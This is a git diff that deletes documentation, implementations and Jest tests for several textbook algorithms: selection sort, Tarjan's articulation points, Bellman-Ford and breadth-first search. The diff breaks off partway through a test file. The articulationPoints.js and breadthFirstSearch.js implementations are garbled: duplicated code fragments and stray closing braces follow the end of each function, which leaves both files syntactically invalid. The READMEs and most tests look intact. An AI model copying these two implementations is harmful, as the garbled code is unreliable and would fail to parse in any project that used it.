-import { selectionSort } from '../SelectionSort';
-describe('selectionSort', () => {
-    it('expects to return the array sorted in ascending order', () => {
-        const toSort = [5, 6, 7, 8, 1, 2, 12, 14];
-        const expected = [1, 2, 5, 6, 7, 8, 12, 14];
-        expect(selectionSort(toSort)).toEqual(expected);
-    });
-    it('expects to throw if it is not a valid array', () => {
-        expect(() => selectionSort('abc')).toThrow('Given input is not an array');
-        expect(() => selectionSort(123)).toThrow('Given input is not an array');
-        expect(() => selectionSort({})).toThrow('Given input is not an array');
-        expect(() => selectionSort(null)).toThrow('Given input is not an array');
-        expect(() => selectionSort()).toThrow('Given input is not an array');
-    });
-    it('expects to throw if one of the elements in the array is not a number', () => {
-        expect(() => selectionSort([1, 'x', 2])).toThrow('One of the items in your array is not a number');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/articulation-points/README.md b/docs/content/DS_ALGO/algorithms/graph/articulation-points/README.md
deleted file mode 100644
index 9ee8d31b7e..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/articulation-points/README.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Articulation Points (or Cut Vertices)
-
-A vertex in an undirected connected graph is an articulation point
-(or cut vertex) if removing it (and edges through it) disconnects
-the graph. Articulation points represent vulnerabilities in a
-connected network - single points whose failure would split the
-network into 2 or more disconnected components. They are useful for
-designing reliable networks.
-
-For a disconnected undirected graph, an articulation point is a
-vertex removing which increases number of connected components.
-
-![Articulation Points](https://www.geeksforgeeks.org/wp-content/uploads/ArticulationPoints.png)
-
-![Articulation Points](https://www.geeksforgeeks.org/wp-content/uploads/ArticulationPoints1.png)
-
-![Articulation Points](https://www.geeksforgeeks.org/wp-content/uploads/ArticulationPoints21.png)
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/articulation-points-or-cut-vertices-in-a-graph/)
--   [YouTube](https://www.youtube.com/watch?v=2kREIkF9UAs&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/articulation-points/articulationPoints.js b/docs/content/DS_ALGO/algorithms/graph/articulation-points/articulationPoints.js
deleted file mode 100644
index 9d741cbc4e..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/articulation-points/articulationPoints.js
+++ /dev/null
@@ -1,120 +0,0 @@
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * Helper class for visited vertex metadata.
- */
-class VisitMetadata {
-    constructor({
-        discoveryTime,
-        lowDiscoveryTime
-    }) {
-        this.discoveryTime = discoveryTime;
-        this.lowDiscoveryTime = lowDiscoveryTime;
-        // We need this in order to check graph root node, whether it has two
-        // disconnected children or not.
-        this.independentChildrenCount = 0;
-    }
-}
-/**
- * Tarjan's algorithm for finding articulation points in graph.
- *
- * @param {Graph} graph
- * @return {Object}
- */
-export default function articulationPoints(graph) {
-    // Set of vertices we've already visited during DFS.
-    const visitedSet = {};
-    // Set of articulation points.
-    const articulationPointsSet = {};
-    // Time needed to discover to the current vertex.
-    let discoveryTime = 0;
-    // Peek the start vertex for DFS traversal.
-    const startVertex = graph.getAllVertices()[0];
-    const dfsCallbacks = {
-        /**
-         * @param {GraphVertex} currentVertex
-         * @param {GraphVertex} previousVertex
-         */
-        enterVertex: ({
-            currentVertex,
-            previousVertex
-        }) => {
-            // Tick discovery time.
-            discoveryTime += 1;
-            // Put current vertex to visited set.
-            visitedSet[currentVertex.getKey()] = new VisitMetadata({
-                discoveryTime,
-                lowDiscoveryTime: discoveryTime
-            });
-            if (previousVertex) {
-                // Update children counter for previous vertex.
-                visitedSet[previousVertex.getKey()].independentChildrenCount += 1;
-            }
-        },
-        /**
-         * @param {GraphVertex} currentVertex
-         * @param {GraphVertex} previousVertex
-         */
-        leaveVertex: ({
-            currentVertex,
-            previousVertex
-        }) => {
-            if (previousVertex === null) {
-                // Don't do anything for the root vertex if it is already current (not previous one)
-                return;
-            }
-            // Update the low time with the smallest time of adjacent vertices.
-            // Get minimum low discovery time from all neighbors.
-            /** @param {GraphVertex} neighbor */
-            visitedSet[currentVertex.getKey()].lowDiscoveryTime = currentVertex
-                .getNeighbors()
-                .filter((earlyNeighbor) => earlyNeighbor.getKey() !== previousVertex.getKey())
-                /**
-                 * @param {number} lowestDiscoveryTime
-                 * @param {GraphVertex} neighbor
-                 */
-                .reduce((lowestDiscoveryTime, neighbor) => {
-                    const neighborLowTime = visitedSet[neighbor.getKey()].lowDiscoveryTime;
-                    return neighborLowTime < lowestDiscoveryTime ? neighborLowTime : lowestDiscoveryTime;
-                }, visitedSet[currentVertex.getKey()].lowDiscoveryTime);
-            // Detect whether previous vertex is articulation point or not.
-            // To do so we need to check two [OR] conditions:
-            // 1. Is it a root vertex with at least two independent children.
-            // 2. If its visited time is <= low time of adjacent vertex.
-            if (previousVertex === startVertex) {
-                // Check that root vertex has at least two independent children.
-                if (visitedSet[previousVertex.getKey()].independentChildrenCount >= 2) {
-                    articulationPointsSet[previousVertex.getKey()] = previousVertex;
-                }
-            } else {
-                // Get current vertex low discovery time.
-                const currentLowDiscoveryTime = visitedSet[currentVertex.getKey()].lowDiscoveryTime;
-                // Compare current vertex low discovery time with parent discovery time. Check if there
-                // are any short path (back edge) exists. If we can't get to current vertex other then
-                // via parent then the parent vertex is articulation point for current one.
-                const parentDiscoveryTime = visitedSet[previousVertex.getKey()].discoveryTime;
-                if (parentDiscoveryTime <= currentLowDiscoveryTime) {
-                    articulationPointsSet[previousVertex.getKey()] = previousVertex;
-                }
-            }
-        },
-        allowTraversal: ({
-            nextVertex
-        }) => {
-            return !visitedSet[nextVertex.getKey()];
-        }
-    };
-    // Do Depth First Search traversal over submitted graph.
-    depthFirstSearch(graph, startVertex, dfsCallbacks);
-    return articulationPointsSet;
-}
-nextVertex
-}) => {
-    return !visitedSet[nextVertex.getKey()];
-}
-};
-// Do Depth First Search traversal over submitted graph.
-depthFirstSearch(graph, startVertex, dfsCallbacks);
-
-
-return articulationPointsSet;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/articulation-points/test/articulationPoints.test.js b/docs/content/DS_ALGO/algorithms/graph/articulation-points/test/articulationPoints.test.js
deleted file mode 100644
index feb824fdc7..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/articulation-points/test/articulationPoints.test.js
+++ /dev/null
@@ -1,147 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import articulationPoints from '../articulationPoints';
-describe('articulationPoints', () => {
-    it('should find articulation points in simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(2);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexC.getKey());
-        expect(articulationPointsSet[1].getKey()).toBe(vertexB.getKey());
-    });
-    it('should find articulation points in simple graph with back edge', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(1);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexC.getKey());
-    });
-    it('should find articulation points in simple graph with back edge #2', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeCE = new GraphEdge(vertexC, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAE).addEdge(edgeCE).addEdge(edgeBC).addEdge(edgeCD);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(1);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexC.getKey());
-    });
-    it('should find articulation points in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeFH = new GraphEdge(vertexF, vertexH);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC).addEdge(edgeCD).addEdge(edgeDE).addEdge(edgeEG).addEdge(edgeEF).addEdge(edgeGF).addEdge(edgeFH);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(4);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexF.getKey());
-        expect(articulationPointsSet[1].getKey()).toBe(vertexE.getKey());
-        expect(articulationPointsSet[2].getKey()).toBe(vertexD.getKey());
-        expect(articulationPointsSet[3].getKey()).toBe(vertexC.getKey());
-    });
-    it('should find articulation points in graph starting with articulation root vertex', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeFH = new GraphEdge(vertexF, vertexH);
-        const graph = new Graph();
-        graph.addEdge(edgeDE).addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC).addEdge(edgeCD).addEdge(edgeEG).addEdge(edgeEF).addEdge(edgeGF).addEdge(edgeFH);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(4);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexF.getKey());
-        expect(articulationPointsSet[1].getKey()).toBe(vertexE.getKey());
-        expect(articulationPointsSet[2].getKey()).toBe(vertexC.getKey());
-        expect(articulationPointsSet[3].getKey()).toBe(vertexD.getKey());
-    });
-    it('should find articulation points in yet another graph #1', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeDE);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(2);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexD.getKey());
-        expect(articulationPointsSet[1].getKey()).toBe(vertexC.getKey());
-    });
-    it('should find articulation points in yet another graph #2', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeCE = new GraphEdge(vertexC, vertexE);
-        const edgeCF = new GraphEdge(vertexC, vertexF);
-        const edgeEG = new GraphEdge(vertexE, vertexG);
-        const edgeFG = new GraphEdge(vertexF, vertexG);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeCE).addEdge(edgeCF).addEdge(edgeEG).addEdge(edgeFG);
-        const articulationPointsSet = Object.values(articulationPoints(graph));
-        expect(articulationPointsSet.length).toBe(1);
-        expect(articulationPointsSet[0].getKey()).toBe(vertexC.getKey());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/README.md b/docs/content/DS_ALGO/algorithms/graph/bellman-ford/README.md
deleted file mode 100644
index 037bca168d..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Bellman-Ford Algorithm
-
-The Bellman-Ford algorithm is an algorithm that computes shortest
-paths from a single source vertex to all of the other vertices
-in a weighted digraph. It is slower than Dijkstra's algorithm
-for the same problem, but more versatile, as it is capable of
-handling graphs in which some of the edge weights are negative
-numbers.
-
-![Bellman-Ford](https://upload.wikimedia.org/wikipedia/commons/2/2e/Shortest_path_Dijkstra_vs_BellmanFord.gif)
-
-## Complexity
-
-Worst-case performance `O(|V||E|)`
-Best-case performance `O(|E|)`
-Worst-case space complexity `O(|V|)`
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm)
--   [On YouTube by Michael Sambol](https://www.youtube.com/watch?v=obWXjtg0L64&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/bellmanFord.js b/docs/content/DS_ALGO/algorithms/graph/bellman-ford/bellmanFord.js
deleted file mode 100644
index 98f3e32805..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/bellmanFord.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/**
- * @param {Graph} graph
- * @param {GraphVertex} startVertex
- * @return {{distances, previousVertices}}
- */
-export default function bellmanFord(graph, startVertex) {
-    const distances = {};
-    const previousVertices = {};
-    // Init all distances with infinity assuming that currently we can't reach
-    // any of the vertices except start one.
-    distances[startVertex.getKey()] = 0;
-    graph.getAllVertices().forEach((vertex) => {
-        previousVertices[vertex.getKey()] = null;
-        if (vertex.getKey() !== startVertex.getKey()) {
-            distances[vertex.getKey()] = Infinity;
-        }
-    });
-    // We need (|V| - 1) iterations.
-    for (let iteration = 0; iteration < graph.getAllVertices().length - 1; iteration += 1) {
-        // During each iteration go through all vertices.
-        Object.keys(distances).forEach((vertexKey) => {
-            const vertex = graph.getVertexByKey(vertexKey);
-            // Go through all vertex edges.
-            graph.getNeighbors(vertex).forEach((neighbor) => {
-                const edge = graph.findEdge(vertex, neighbor);
-                // Find out if the distance to the neighbor is shorter in this iteration
-                // then in previous one.
-                const distanceToVertex = distances[vertex.getKey()];
-                const distanceToNeighbor = distanceToVertex + edge.weight;
-                if (distanceToNeighbor < distances[neighbor.getKey()]) {
-                    distances[neighbor.getKey()] = distanceToNeighbor;
-                    previousVertices[neighbor.getKey()] = vertex;
-                }
-            });
-        });
-    }
-    return {
-        distances,
-        previousVertices
-    };
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/test/bellmanFord.test.js b/docs/content/DS_ALGO/algorithms/graph/bellman-ford/test/bellmanFord.test.js
deleted file mode 100644
index e2ab0a579b..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/bellman-ford/test/bellmanFord.test.js
+++ /dev/null
@@ -1,105 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import bellmanFord from '../bellmanFord';
-describe('bellmanFord', () => {
-    it('should find minimum paths to all vertices for undirected graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 4);
-        const edgeAE = new GraphEdge(vertexA, vertexE, 7);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 6);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 5);
-        const edgeEC = new GraphEdge(vertexE, vertexC, 8);
-        const edgeED = new GraphEdge(vertexE, vertexD, 2);
-        const edgeDC = new GraphEdge(vertexD, vertexC, 11);
-        const edgeDG = new GraphEdge(vertexD, vertexG, 10);
-        const edgeDF = new GraphEdge(vertexD, vertexF, 2);
-        const edgeFG = new GraphEdge(vertexF, vertexG, 3);
-        const edgeEG = new GraphEdge(vertexE, vertexG, 5);
-        const graph = new Graph();
-        graph
-            .addVertex(vertexH)
-            .addEdge(edgeAB)
-            .addEdge(edgeAE)
-            .addEdge(edgeAC)
-            .addEdge(edgeBC)
-            .addEdge(edgeBD)
-            .addEdge(edgeEC)
-            .addEdge(edgeED)
-            .addEdge(edgeDC)
-            .addEdge(edgeDG)
-            .addEdge(edgeDF)
-            .addEdge(edgeFG)
-            .addEdge(edgeEG);
-        const { distances, previousVertices } = bellmanFord(graph, vertexA);
-        expect(distances).toEqual({
-            H: Infinity,
-            A: 0,
-            B: 4,
-            E: 7,
-            C: 3,
-            D: 9,
-            G: 12,
-            F: 11
-        });
-        expect(previousVertices.F.getKey()).toBe('D');
-        expect(previousVertices.D.getKey()).toBe('B');
-        expect(previousVertices.B.getKey()).toBe('A');
-        expect(previousVertices.G.getKey()).toBe('E');
-        expect(previousVertices.C.getKey()).toBe('A');
-        expect(previousVertices.A).toBeNull();
-        expect(previousVertices.H).toBeNull();
-    });
-    it('should find minimum paths to all vertices for directed graph with negative edge weights', () => {
-        const vertexS = new GraphVertex('S');
-        const vertexE = new GraphVertex('E');
-        const vertexA = new GraphVertex('A');
-        const vertexD = new GraphVertex('D');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexH = new GraphVertex('H');
-        const edgeSE = new GraphEdge(vertexS, vertexE, 8);
-        const edgeSA = new GraphEdge(vertexS, vertexA, 10);
-        const edgeED = new GraphEdge(vertexE, vertexD, 1);
-        const edgeDA = new GraphEdge(vertexD, vertexA, -4);
-        const edgeDC = new GraphEdge(vertexD, vertexC, -1);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 2);
-        const edgeCB = new GraphEdge(vertexC, vertexB, -2);
-        const edgeBA = new GraphEdge(vertexB, vertexA, 1);
-        const graph = new Graph(true);
-        graph
-            .addVertex(vertexH)
-            .addEdge(edgeSE)
-            .addEdge(edgeSA)
-            .addEdge(edgeED)
-            .addEdge(edgeDA)
-            .addEdge(edgeDC)
-            .addEdge(edgeAC)
-            .addEdge(edgeCB)
-            .addEdge(edgeBA);
-        const { distances, previousVertices } = bellmanFord(graph, vertexS);
-        expect(distances).toEqual({
-            H: Infinity,
-            S: 0,
-            A: 5,
-            B: 5,
-            C: 7,
-            D: 9,
-            E: 8
-        });
-        expect(previousVertices.H).toBeNull();
-        expect(previousVertices.S).toBeNull();
-        expect(previousVertices.B.getKey()).toBe('C');
-        expect(previousVertices.C.getKey()).toBe('A');
-        expect(previousVertices.A.getKey()).toBe('D');
-        expect(previousVertices.D.getKey()).toBe('E');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/README.md b/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/README.md
deleted file mode 100644
index 3e41041404..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/README.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# Breadth-First Search (BFS)
-
-Breadth-first search (BFS) is an algorithm for traversing
-or searching tree or graph data structures. It starts at
-the tree root (or some arbitrary node of a graph, sometimes
-referred to as a 'search key') and explores the neighbor
-nodes first, before moving to the next level neighbors.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/5/5d/Breadth-First-Search-Algorithm.gif)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Breadth-first_search)
--   [Tree Traversals (Inorder, Preorder and Postorder)](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/)
--   [BFS vs DFS](https://www.geeksforgeeks.org/bfs-vs-dfs-binary-tree/)
--   [BFS Visualization](https://www.cs.usfca.edu/~galles/visualization/BFS.html)
diff --git a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/breadthFirstSearch.js b/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/breadthFirstSearch.js
deleted file mode 100644
index f1057b7986..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/breadthFirstSearch.js
+++ /dev/null
@@ -1,83 +0,0 @@
-import Queue from '../../../data-structures/queue/Queue';
-/**
- * @typedef {Object} Callbacks
- *
- * @property {function(vertices: Object): boolean} [allowTraversal] -
- *   Determines whether DFS should traverse from the vertex to its neighbor
- *   (along the edge). By default prohibits visiting the same vertex again.
- *
- * @property {function(vertices: Object)} [enterVertex] - Called when BFS enters the vertex.
- *
- * @property {function(vertices: Object)} [leaveVertex] - Called when BFS leaves the vertex.
- */
-/**
- * @param {Callbacks} [callbacks]
- * @returns {Callbacks}
- */
-function initCallbacks(callbacks = {}) {
-    const initiatedCallback = callbacks;
-    const stubCallback = () => {};
-    const allowTraversalCallback = (() => {
-        const seen = {};
-        return ({
-            nextVertex
-        }) => {
-            if (!seen[nextVertex.getKey()]) {
-                seen[nextVertex.getKey()] = true;
-                return true;
-            }
-            return false;
-        };
-    })();
-    initiatedCallback.allowTraversal = callbacks.allowTraversal || allowTraversalCallback;
-    initiatedCallback.enterVertex = callbacks.enterVertex || stubCallback;
-    initiatedCallback.leaveVertex = callbacks.leaveVertex || stubCallback;
-    return initiatedCallback;
-}
-/**
- * @param {Graph} graph
- * @param {GraphVertex} startVertex
- * @param {Callbacks} [originalCallbacks]
- */
-export default function breadthFirstSearch(graph, startVertex, originalCallbacks) {
-    const callbacks = initCallbacks(originalCallbacks);
-    const vertexQueue = new Queue();
-    // Do initial queue setup.
-    vertexQueue.enqueue(startVertex);
-    let previousVertex = null;
-    // Traverse all vertices from the queue.
-    while (!vertexQueue.isEmpty()) {
-        const currentVertex = vertexQueue.dequeue();
-        callbacks.enterVertex({
-            currentVertex,
-            previousVertex
-        });
-        // Add all neighbors to the queue for future traversals.
-        graph.getNeighbors(currentVertex).forEach((nextVertex) => {
-            if (callbacks.allowTraversal({
-                    previousVertex,
-                    currentVertex,
-                    nextVertex
-                })) {
-                vertexQueue.enqueue(nextVertex);
-            }
-        });
-        callbacks.leaveVertex({
-            currentVertex,
-            previousVertex
-        });
-        // Memorize current vertex before next loop.
-        previousVertex = currentVertex;
-    }
-}
-}
-});
-callbacks.leaveVertex({
-    currentVertex,
-    previousVertex
-});
-// Memorize current vertex before next loop.
-previousVertex = currentVertex;
-
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/test/breadthFirstSearch.test.js b/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/test/breadthFirstSearch.test.js
deleted file mode 100644
index 7a17dbd35d..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/breadth-first-search/test/breadthFirstSearch.test.js
+++ /dev/null
@@ -1,303 +0,0 @@
-import Graph from '../../../../data-structures/graph/Graph';
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import breadthFirstSearch from '../breadthFirstSearch';
-describe('breadthFirstSearch', () => {
-    it('should perform BFS operation on graph', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCG = new GraphEdge(vertexC, vertexG);
-        const edgeAD = new GraphEdge(vertexA, vertexD);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeFD = new GraphEdge(vertexF, vertexD);
-        const edgeDH = new GraphEdge(vertexD, vertexH);
-        const edgeGH = new GraphEdge(vertexG, vertexH);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCG).addEdge(edgeAD).addEdge(edgeAE).addEdge(edgeEF).addEdge(edgeFD).addEdge(edgeDH).addEdge(edgeGH);
-        expect(graph.toString()).toBe('A,B,C,G,D,E,F,H');
-        const enterVertexCallback = jest.fn();
-        const leaveVertexCallback = jest.fn();
-        // Traverse graphs without callbacks first.
-        breadthFirstSearch(graph, vertexA);
-        // Traverse graph with enterVertex and leaveVertex callbacks.
-        breadthFirstSearch(graph, vertexA, {
-            enterVertex: enterVertexCallback,
-            leaveVertex: leaveVertexCallback
-        });
-        expect(enterVertexCallback).toHaveBeenCalledTimes(8);
-        expect(leaveVertexCallback).toHaveBeenCalledTimes(8);
-        const enterVertexParamsMap = [{
-                currentVertex: vertexA,
-                previousVertex: null
-            },
-            {
-                currentVertex: vertexB,
-                previousVertex: vertexA
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexB
-            },
-            {
-                currentVertex: vertexE,
-                previousVertex: vertexD
-            },
-            {
-                currentVertex: vertexC,
-                previousVertex: vertexE
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexC
-            },
-            {
-                currentVertex: vertexF,
-                previousVertex: vertexH
-            },
-            {
-                currentVertex: vertexG,
-                previousVertex: vertexF
-            }
-        ];
-        for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-            const params = enterVertexCallback.mock.calls[callIndex][0];
-            expect(params.currentVertex).toEqual(enterVertexParamsMap[callIndex].currentVertex);
-            expect(params.previousVertex).toEqual(enterVertexParamsMap[callIndex].previousVertex);
-        }
-        const leaveVertexParamsMap = [{
-                currentVertex: vertexA,
-                previousVertex: null
-            },
-            {
-                currentVertex: vertexB,
-                previousVertex: vertexA
-            },
-            {
-                currentVertex: vertexD,
-                previousVertex: vertexB
-            },
-            {
-                currentVertex: vertexE,
-                previousVertex: vertexD
-            },
-            {
-                currentVertex: vertexC,
-                previousVertex: vertexE
-            },
-            {
-                currentVertex: vertexH,
-                previousVertex: vertexC
-            },
-            {
-                currentVertex: vertexF,
-                previousVertex: vertexH
-            },
-            {
-                currentVertex: vertexG,
-                previousVertex: vertexF
-            }
-        ];
-        for (let callIndex = 0; callIndex < graph.getAllVertices().length; callIndex += 1) {
-            const params = leaveVertexCallback.mock.calls[callIndex][0];
-            expect(params.currentVertex).toEqual(leaveVertexParamsMap[callIndex].currentVertex);
-            expect(params.previousVertex).toEqual(leaveVertexParamsMap[callIndex].previousVertex);
-        }
-    });
-    it('should allow to create custom vertex visiting logic', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCG = new GraphEdge(vertexC, vertexG);
-        const edgeAD = new GraphEdge(vertexA, vertexD);
-        const edgeAE = new GraphEdge(vertexA, vertexE);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeFD = new GraphEdge(vertexF, vertexD);
-        const edgeDH = new GraphEdge(vertexD, vertexH);
-        const edgeGH = new GraphEdge(vertexG, vertexH);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCG).addEdge(edgeAD).addEdge(edgeAE).addEdge(edgeEF).addEdge(edgeFD).addEdge(edgeDH).addEdge(edgeGH);
-        expect(graph.toString()).toBe('A,B,C,G,D,E,F,H');
-        const enterVertexCallback = jest.fn();
-        const leaveVertexCallback = jest.fn();
